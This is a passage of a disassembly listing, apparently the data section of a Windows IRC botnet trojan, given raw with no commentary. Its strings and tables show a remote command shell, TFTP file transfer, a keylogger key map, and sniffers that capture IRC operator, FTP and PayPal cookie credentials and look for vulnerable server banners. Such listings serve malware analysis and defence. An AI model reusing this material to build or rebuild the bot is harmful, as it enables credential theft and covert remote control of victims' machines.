		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A44	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433A7C	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_433AB0:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F58	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433F9C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_434004	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43404C	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_43408C	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4340D0	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4340FC	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_434128	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_434164	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_434190	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341BC	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434358	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_43438C	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4343D4	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4343FC	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_43443C	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_43447C	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344BC	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E2C	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E5C:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 4
		dd offset off_435720
		dd offset off_43571C
		dd offset off_435718
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		db 3Ah
		db 2Eh,	69h, 64h	; DATA XREF: ___:off_43571Co
		dd 5 dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EB4o
		align 4
off_435718	dd offset aC_0		; DATA XREF: ___:00434EB0o
					; "{ԗŘ"
off_43571C	dd offset byte_435249	; DATA XREF: ___:00434EACo
off_435720	dd offset loc_544F41+1	; DATA XREF: ___:00434EA8o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_435994	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
